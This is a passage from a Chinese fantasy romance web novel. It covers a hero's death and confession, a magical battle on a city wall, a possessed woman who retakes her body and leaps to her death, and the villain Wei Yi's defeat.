流星见她哭了,心内一急,却突然“唔”地一声,吐出一口血来。 “流星大哥!”白虎叫道。 朱雀抬起头猛地一震,“流星!你怎么样?你坚持一下,我们这就带你去找我师父,她一定可以救你的!” 朱雀本想将他扶起,流星却握住她的手摇摇头,“不必了…我快不行了…” 望着他苍白虚弱的面容,朱雀的泪好似,漫天大雨,源源不断顺着面庞滑落而下,“不!你别说了!你不要死!我不准你死!” 流星用最后一丝力气,艰难地抬手抚上她的发丝,缓缓磨砂。 望着心爱的姑娘,抱着自己嚎啕大哭,流星却幸福地笑了。 因为,在他生命的最后一刻,他心爱的姑娘还在他身旁,同时心里还爱着他,这就足够了。 流星这一生,在没有遇到朱雀之前,都不是为自己而活。直到遇到朱雀,他才看见自己。 是朱雀让他找到了真实的自己,让他体会到真正的幸福快乐,到底是何种感觉。 如此,此生已无憾。 “谢谢你…朱雀……”流星用最后一口气喃喃道。 朱雀睁着哭红的双眼,茫然抬起头,“ 什么?” “方才你问我还有何事瞒着你…”流星嘶哑微弱的嗓音,在她耳边响起,“确实还有一事… 那日我说从未爱过你,其实是骗你的……我爱你…朱雀……我…爱…你……” 最后一个“你”字话音落下,流星眼中的光,也随之一点点暗了下去。 朱雀倒吸一口冷气,抱住流星的身子拼命摇晃,“流星!你醒醒啊!不要睡!不要离开我!” 可任她再如何哭喊,怀中的男子都无任何回应。 原本坚实的胸膛,渐渐软了下去,原本炙热的身躯,也缓缓凉了下去。 但那抹俊美戏谑的笑容,却依然停留在他的唇边,迟迟未散。 “流星大哥?大哥!” “流星……流星……” 朱雀白虎二人紧紧抱住流星,埋首在他的胸口痛哭流涕。 因为他们知道,这位无时无刻都在保护着他们,并且每时每刻都在为他们带去欢乐幸福的流星,可能再也回不来了…… “流星…我错了,我不该误会你……你回来好不好…好不好!” 想到自己之前竟将他当做叛徒,甚至是自己亲手杀了他,朱雀的心脏就仿佛被钝刀一次次划过,痛得她难以呼吸。 而当这痛苦疾速攀升至顶峰时,突然脑中啪的一声,仿佛有一根弦猝然断裂。 朱雀只觉眼前一黑,随后便软软地倒在地上,并未看见自己弟弟白虎慌乱惊恐的脸…… 第414章 414.你的命运可以由你自己做主 城墙外,鄞玄与冷锋率领着数千大军,与不死不伤的怪物禁军殊死拼杀。 城墙内,无数幽魂在空中的阵法内叫嚣乱舞。 但这庞大阵法的西面业已陷落。片刻后,南面与北面的阵法也出现了裂痕。 血魂咒的效力被逐渐削弱,被困住的幽魂们愈加狂躁,尖嚎着想要冲破阵法结界逃走。 而在这阵法之下,慕徐二人还在东面城楼上,与卫颐和阿茵激烈斗法。 无数道金光紫光,与蓝光红光,在城楼上交错闪耀。 一不留神,一道金光击中城墙墙头,顿时轰的一声,竟将城墙炸去一半。 阿茵后怕地逃到卫颐身边,若不是她方才躲闪及时,此时这道紫光就已打在她身上了。 “阿茵!还好吗?”卫颐忙扶住她,面上第一次出现紧张慌乱之色。 “没事…”阿茵捂住胸口大口大口喘着气,侧头瞪向方才向她发起攻击的慕怀瑾。 没想到这个凡人身上的紫气如此强大,好多次都差点将她打得魂飞魄散。 正当她暗暗思忖之时,徐莞与慕怀瑾皆从空中落下。 徐莞毫不犹豫,极快地扬手将伏魔鞭向卫颐二人抽去。 卫颐见此,表情忽然冷了下来,秀美的眸子射出道道寒光。 他扬手挥动手中的玉拂尘,拂尘须竟似有生命般,感应到伏魔鞭的位置,疾速拉长,将伏魔鞭缠住。 卫颐再稍稍用力一拉,徐莞便被玉拂尘的灵力撞到,蓦地吃痛向地上倒去。 “菀菀当心!” 好在慕怀瑾动作迅速,伸手将她拉回自己怀中,“你怎么样?” 徐莞站稳后立在他身前,缓缓摇头,“无碍…” 他们双方已斗了快半个时辰,每次当他们快要打败卫颐时,却都被玉拂尘挡了回去。 这样下去不是个办法。玉拂尘在卫颐手中,他们永远都别想占上风。 徐莞的目光又投向了城外混战的两方大军。 身着深灰色军服与战甲的,是鄞玄率领的雪暴军。身披金红色战甲的,则是守卫皇室的禁军。 原本占领上风的雪暴军,如今死伤惨重。那深灰色战甲仅剩一半,正逐渐被金红色的禁军包围,眼看着不消多时就要被禁军吞噬。 望着这一幕,徐莞蹙眉开口,“来不及了。我们必须尽快破阵,否则鄞玄冷锋和雪暴军的战士们,都会命丧那些失魂禁军的刀下。” 慕怀瑾自然也注意到了这一情况,鄞玄有难,他比任何人都着急。 可如今当务之急,唯有夺回玉拂尘,才能战胜卫颐。 “菀菀,我有一计可夺回玉拂尘。” “什么?” 慕怀瑾压低声音道:“卫颐异常在乎那个妖精的安危。待会儿我朝那妖精出手,卫颐必会随我们而来。 这时我让火麒麟干扰他的注意,你再趁机抢夺。此法能有八成胜算。” 徐莞听后思忖片刻,她明白不能再等下去了,当即便应下来,“好。” 随后,徐莞又是蓄力朝卫颐与阿茵二人中间狠狠抽下一鞭,将二人分开。 慕怀瑾顺势向阿茵攻去。阿茵吓得落荒而逃,慕怀瑾在她身后紧追不舍。 卫颐见此也急忙追了上去,可小小火麒麟也出现在四周扰乱。 徐莞看准时机,一鞭子向玉拂尘甩去。呲溜一声,伏魔鞭缠住了玉拂尘的玉杆。 徐莞眼眸一亮,再用力一拽,可出乎她的意料,玉拂尘竟在卫颐手中纹丝未动。 这是怎么回事! 徐莞抬眼望去,但见卫颐右手紧紧握着玉拂尘,似是早已料到她会这么做。 随后不慌不忙将玉拂尘往自己这方一拉,徐莞便也翻了个跟头跌落在地。 而慕怀瑾还在阿茵身后紧追不舍,就在他手中长剑快要刺中阿茵背心时,卫颐一挥玉拂尘,拂尘须便瞬间伸长向慕怀瑾缠去。 这玉拂尘乃以数十只麒麟须制成,若是发动神力抽在凡人或妖魔身上,皮肉便会瞬间被灼焦,承受烈火焚烧之痛。 跌落在地的徐莞仰头望见这一幕,迅速抬手挥鞭缠住慕怀瑾的腰,在拂尘须触到他之前,将他拉回了自己身边。 “小心!” 徐莞扶慕怀瑾站稳后,他才看清身后的卫颐想做什么。 若是方才徐莞未将他及时拉开,恐怕此时他已成一具焦尸。 “多谢。”慕怀瑾微喘着气向徐莞道。 而后便见卫颐搂着阿茵再次落在他们不远处,一派运筹帷幄之态。 “徐莞,慕怀瑾,你们别白费力气了。估摸着再有一柱香的功夫,禁军就能将定北王的叛军剿灭。 到时我便会用这五千魂魄,彻底复活阿茵。而你们也会作为叛军的同伙被通缉,满门抄斩。你们此刻不如先回府带上家眷尽快逃出京城城吧哈哈哈。” 卫颐笑得猖狂,身旁的阿茵也有恃无恐。 徐莞望着他们二人那张狂可恨的嘴脸,一股怒火自心头灼灼腾起。 她突然上前两步对“刘云蕊”叫道: “刘云蕊!我知道你还在!当初那个我行我素,天不怕地不怕的刘云蕊,此时怎么成了缩头乌龟? 难道你就这样眼睁睁看着,那妖精将你的肉身夺走,自己却缩在那里什么也不做? 刘云蕊快动起来!你可以夺回自己的肉身!你的命运,可以由你自己做主!” 被困在阿茵体内的刘云蕊,将方才的一幕全都看在眼里。 而徐莞方才的这番话,仿佛一点点唤醒了她。 是啊,当初穿越时的刘云蕊肆意张扬,天不怕地不怕,甚至敢在慕煜衡大婚当日挺着孕肚去闹。 而如今,她却眼睁睁看着别人抢了她的肉身,与骗了自己的卫颐亲亲我我。 这让她恶心至极! 徐莞说的没错!这是我的肉身,我可以夺回来!不试试怎么知道! 思及此,刘云蕊从黑暗的角落缓缓站了起来。 阿茵注意到此,不禁一惊,“你要做什么?” 刘云蕊站起身,紧紧盯着那抹笼罩在她上方的黑云,一步步向前走去,“你不属于这里。这是我的身体,你给我滚出去!” 刘云蕊蓦地一声大喊,魂魄好似瞬间充满力量,将阿茵的精魂踩在自己脚下。 下一瞬,刘云蕊只觉眼前白光一闪,她好像可以控制这具肉身了! 第415章 415.云蕊坠落 我好像可以控制自己的身体了! 意识到这一点的刘云蕊,所做的第一件事,便是突然抬手,一把将卫颐手中的玉拂尘打飞了出去。 玉拂尘在空中翻腾几圈,恰好落入徐莞手中! 这突发情况令在场几人皆懵在原地,尤其是卫颐,一脸难以置信地望向刘云蕊。 “阿茵,你…” 刘云蕊一把推开卫颐,憎恶地瞪着他,“我不是阿茵,我是刘云蕊!” 卫颐眼底一震,“怎么可能!你…” 还不待卫颐多说,刘云蕊缓缓后退几步,来到城墙边上,似下定了千难万难的决心,决绝道: “这是我的肉身,我就算死,也不会让给其他人!卫颐,你看着吧!” 话毕,刘云蕊迅速转身,不带一丝犹豫,攀上城墙便纵身跳了下去! “阿茵!” “刘云蕊!” 卫颐与慕徐二人一同向城墙边疾速奔去。 徐莞甩出伏魔鞭,妄图将刘云蕊缠住拉上来。可当她赶到城墙边时已来不及了。 三人趴在城墙边向下望去,但见那个明艳可人的女子,仰面向下方坠去。 劲风带起她的长发,发丝在她的脸颊两旁肆意乱舞。 而她的面上却未出现任何惊恐畏惧之色,反而是一脸的泰然,和将命运握在自己手中的笃定,以及当着仇人的面,将他最在乎的东西毁灭时的快感。 徐莞的伏魔鞭,与刘云蕊的腰仅差分毫。可就是这分毫之差,让刘云蕊永远地离开了他们。 只听咚的一声闷响,刘云蕊自三四十米高的城墙跌了下去。 片刻后,一摊殷红的鲜血,便从她的身下缓缓渗出,蔓延开来…… “云蕊!不要!” 这个明艳肆意如山茶花的女子,竟选择以如此惨烈的方式结束自己生命。 这让在场的三人皆未料想到。 不过仔细想来,这也确实是她的行事风格。 无论何时,刘云蕊都是这样大胆任性,不计后果地去做任何自己想做之事,甚至斗个鱼死网破。 而今,她也如山茶花般绽放在了城楼下,彻底离开了这个世界。 这抹来自异世界的幽魂,已经从这具肉身中解脱了吧。 如此也好。 这个世界给她带来的伤害,背叛,与欺骗,太多太多。 她也是时候结束了。 或许,她会回到自己原本的世界,将这里发生的一切当做一场梦,继续自己的人生。 抑或是,忘掉此生所经历的一切,投胎后开启新的人生。 永别了,云蕊。 你的人生,由你自己做主。 城墙上的三人,望着城下那抹红色身影,皆陷入一片沉默。 良久,徐莞与慕怀瑾压下心中的沉痛,回过神向卫颐道: “卫颐,玉拂尘已在我手中,你束手就擒吧。” 卫颐却依然怔怔地望着城下的身影,喃喃道:“三十年了…我找了三十年,才找到适合阿茵的肉身。如今…就这样没了…没了…哈哈哈……” 卫颐略略疯癫地笑了一阵,随即伸手将飘上来的一红色光点迅速握入掌心。 “不过…”卫颐望着手中握着的一缕精魂,“只要阿茵的精魂还在,这五千禁军的魂魄还在,我就能再次复活阿茵。” 话至此处,卫颐忽然侧头犀利望向徐莞,“徐莞,将你的肉身拿来!” 慕徐二人即刻一凛,慕怀瑾旋即向火麒麟呼喊道:“麒麟大仙该您出马了!” 闻言,火麒麟迅速向徐莞飞去。 徐莞手持玉拂尘向火麒麟施咒解开它的封印。 火麒麟便由手掌大小,顷刻间膨胀变大至二三十米高。 紧接着仰天高鸣一声,自高空俯冲直下,径直从卫颐胸前穿了过去。 原本欲发功的卫颐忽然定住,整个人直挺挺地僵立在原地,面上的表情亦是一派不可置信与狰狞空白。 随后,他缓缓低下头望去,但见他的胸口处虽无任何伤口与鲜血,却似被烈火焚烧一般痛。 痛得他甚至恍惚间有了种寒冷的感觉。 但卫颐明白,他的五脏六腑,已被火麒麟的灵火燃烧殆尽,再也无法医治好了。 而他自己,也即将走向他的末日。 思及此,卫颐身子一松,便径直向后倒去。 而在他倒下的同时,城楼上设下的阵法霎时土崩瓦解。 至此,东南西北四面的阵法皆已告破,那些被阵法困住的幽魂,顷刻间冲了出去,乌泱泱成片向城外战场上的禁军飞去,妄图重新回到自己的肉身中活过来。 可令他们绝望的是,自己竟无论如何回不到自己的肉身中去了。 原来,他们早已死去多时,再也无法复活。 意识到这一点的幽魂们,齐齐发出一阵凄厉的哀嚎,而后便茫然地四散飞去。 而那些被血魂阵控制的禁军,则失去了不坏肉身,如行尸走肉般,一个接着一个倒了下去。 这时,正在率领着雪暴军,与禁军进行最后殊死搏斗的鄞玄和冷锋,突然发现禁军全都倒了下去。 惊奇之下即刻意识到,一定是徐莞跟慕怀瑾想到办法破解了卫颐的恶咒。 思及此,鄞玄再次精神振奋道:“各位将士们!被恶咒妖术控制的禁军已死。大家再接再厉,跟随本王一鼓作气攻入京城与皇宫,清君侧!” 雪暴军众将士齐声高呼,“是王爷!” 随后,雪暴军便踏着禁军们的尸首,士气昂扬冲进了京城,直捣皇宫。 而还在东面城楼上的慕徐二人,则一同走到卫颐身边,低头俯视着他。 只见原先俊美魅惑的卫颐,皮肤竟逐渐变得松弛发黄,眼角与鼻翼两旁长出皱纹。 就连他那头漆黑柔顺的长发,也渐渐变得花白而毛燥。 最后完完全全变成了一副老年男子的模样,再也不复他往日的风姿。 原来,卫颐绝美的面容,皆是靠他炼制的丹药而制造的假象。 一旦他即将殒命,丹药便也失去了作用。 慕徐二人居高临下望着这样的卫颐,心中划过一丝鄙夷,与大仇得报的畅快。 慕怀瑾转身仰首望向皇宫的方向,心中暗想,娘,孩儿为您报仇了。 还有一位仇人,稍后便去找她算账。 第416章 416.大战终胜 徐莞亦垂眸望着躺在地上的卫颐,眼中一派清冷漠然。 “凡事有因必有果。卫颐,如今的一切,皆因你执念太重,才会酿此大祸。 你既已在三十多年前种下了因,便应能想到会有今日之果。所有的一切,都是你咎由自取。” 卫颐仰面躺在地上,目光却未望着他们,而是怔怔望着上方天空,嘴角露出一抹苦笑。 “我当然算到会有这么一日,但为了阿茵…我不后悔……” 说着,卫颐侧头望向自己的左手,艰难地抬起手臂,张开手掌。 阿茵的那片精魂,便从他掌心跳出,在他的脸颊周围焦急地乱跳。 卫颐望着这片红色精魂,缓缓幸福地笑了,眼中带着淡淡的悲哀。 “阿茵…对不起…我没能复活你…… 不过,我能陪你一同走了…… 这一次…我们一起去你从前说的仙梦岛,在那里盖起一座小屋,种上一片菜园,养上几只鸡和小鱼…每日一同看日出日落…一同携手而眠…… 这是我对你的承诺,我从未忘记过。如今…我终于能够兑现自己的诺言了…… 阿茵……等我……我来了……” 卫颐的语声越来越弱,说到最后一句时,几乎已听不到。 但他嘴角那抹笑,却越来越幸福。 末了,卫颐再也不动了。 他的眸子却还睁着,倒映着上方广阔无垠的天空,和大朵大朵的乌云。 方才还在他脸颊旁不住跳跃的红光,仿佛也感应到卫颐已离开人世,渐渐安静下来,停在了他的唇珠之上。 随后,那红光簌地化为一片细碎的光点,笼罩在卫颐的面庞上方。不消片刻,便隐没下去,直至消失不见。 看来,阿茵也随着卫颐而去了。 他们现下应该已经飞往仙梦岛,去寻找自由幸福的生活了吧。 徐莞与慕怀瑾望着这一幕,心底又不禁升起一股悲哀。 良久,一道焦急的呼喊打断了他们的思绪。 “师父!姐姐晕过去了!您救救姐姐吧!” 慕徐二人转身望去,但见是沈明澈、无境,与白虎,背着昏迷的朱雀向他们跑来。 “朱雀怎么了?受伤了吗?” 慕徐二人快步迎着他们走去,来到白虎面前紧张地查看朱雀的伤势。 “不,我姐没受伤。应该是因为她亲手杀了流星大哥,悲痛过度晕了过去。” 白虎答道,又急急地向他们解释:“流星大哥他不是坏人!是卫颐对他下了同心咒,他逼不得已才……” 听到此处,徐莞已明白了一切。 “好了我明白了。”徐莞拍拍他的肩膀打断他,之后转向慕怀瑾道: “怀瑾,血魂阵已破,鄞玄的雪暴军已向宫城攻去,拿下宫城应该不成问题。我们便先回府吧,娘与府中的家人都在等我们。” 慕怀瑾又向皇宫的方向望了一眼。 菀菀说的不错,卫颐的血魂阵已破,禁军根本不是雪暴军的对手。或许鄞玄今日之内便可顺利夺位。 这两日他的事务一定极多,而自己若是没有揭露身份的心思,最好不要出现在皇宫中,以免引人猜疑。 想罢,慕怀瑾点头沉声道:“好。我们走。” === 朱雀昏迷之后,曾经与流星相处的点点滴滴,不住在她的梦境中回溯。 那些或惊险,或欢乐,或难堪,或气恼,或幸福,或甜蜜的瞬间,都让朱雀的泪止不住地淌。 而这一幕幕的最后,蓦地定格在流星一如既往的促狭笑容上。 “喂,炮仗小姐,你哭什么呢?你知不知道你哭的时候很丑。” 朱雀望着眼前半透明的流星,伸手想去触碰,却什么都抓不住,只得不住地流泪。 “流星……” 流星抬手轻轻拂过她脸颊上的泪,朱雀却无一丝感觉。 “别哭了,别让我心疼。”流星眼中带着淡淡的哀伤,“感谢老天让我遇见你。这一世我们不能在一起。 希望下一世上苍怜悯,能让我再遇见你。下一世我一定会抓住你,拼了命也要和你在一起。 朱雀,等着我好吗?” 朱雀一面哭,一面重重点头,“好!我一定等你!流星,你下辈子你一定要出现,我们无论如何都要在一起!” 流星欣喜一笑,“这样我就放心了。时候到了,我该走了。朱雀,来世再见。” 流星的话音落下,他的身影也变得越来越透明,直至消失在一片灰暗的浓雾之中。 “流星!不要走!流星!” 朱雀大喊着坐起身,突然从睡梦中惊醒,意识却还停留在方才流星的身影消失的那一刻。 她高高举起手臂奋力往前抓,仿佛想要抓住一个遥不可及的梦,而一切终成空。 “姐姐!” “朱雀!” “姐姐你别激动,我是白虎啊!” 身旁几道熟悉的嗓音,将朱雀的意识拉回了一些。 她茫然转过头,望见弟弟白虎,她的师父徐莞,还有慕怀灵和松风苑的几位丫鬟,都立在她的床边,担忧关切地望着她。 就连侯爷慕怀瑾也坐在不远处的椅子里,观望着这边的情况。 “姐姐你怎么样?”白虎首先开口试探道:“我们已经破了卫颐的阵法,回到侯府了。” 朱雀的心思却完全不在此,而是急切地问:“流星呢?流星他怎么样?” 望见徐莞后,她又忙不迭抓住徐莞的衣袖哭着求道:“师父,您救救流星吧!他是中了同心咒才会那样做的,他本来不想的!求求您想办法救救他吧!” 朱雀哭喊着,一面想下床跪在地上求徐莞,却被徐莞和慕怀灵拉住。 “朱雀你冷静点!”慕怀灵劝道:“我大嫂在你昏迷的时候已经试过,但还是没能救活流星。流星已经走了,你不要太伤心…” “什么?”朱雀倒吸一口气,望向徐莞,“师父,怀灵说的是真的吗?” 徐莞立在原地,沉痛地点点头。 朱雀见此,心蓦地一沉,一股莫大的悲伤痛楚又涌了上来。 就在这时,徐莞再次开口,“朱雀,你知道从前我为何不想让你们在一起吗?” 朱雀微微一怔,“为什么师父?”